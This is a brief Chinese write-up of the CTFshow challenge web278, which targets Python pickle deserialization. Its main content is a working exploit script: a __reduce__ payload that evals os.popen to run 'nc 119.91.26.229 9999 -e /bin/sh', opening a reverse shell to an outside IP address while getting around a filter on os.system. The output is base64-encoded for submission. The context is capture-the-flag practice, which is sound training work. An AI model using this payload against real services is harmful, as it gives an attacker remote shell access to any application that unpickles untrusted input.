CTFshow 反序列化 web278

---

思路

题目提示了过滤了os.system,那么我们把system改成popen().read()

题解

import base64
import pickle


class shell(object):
    def __reduce__(self):
        return (eval, ("__import__('os').popen('nc 119.91.26.229 9999 -e /bin/sh').read()",))

k = shell()
print(base64.b64encode(pickle.dumps(k)))

---

总结

水题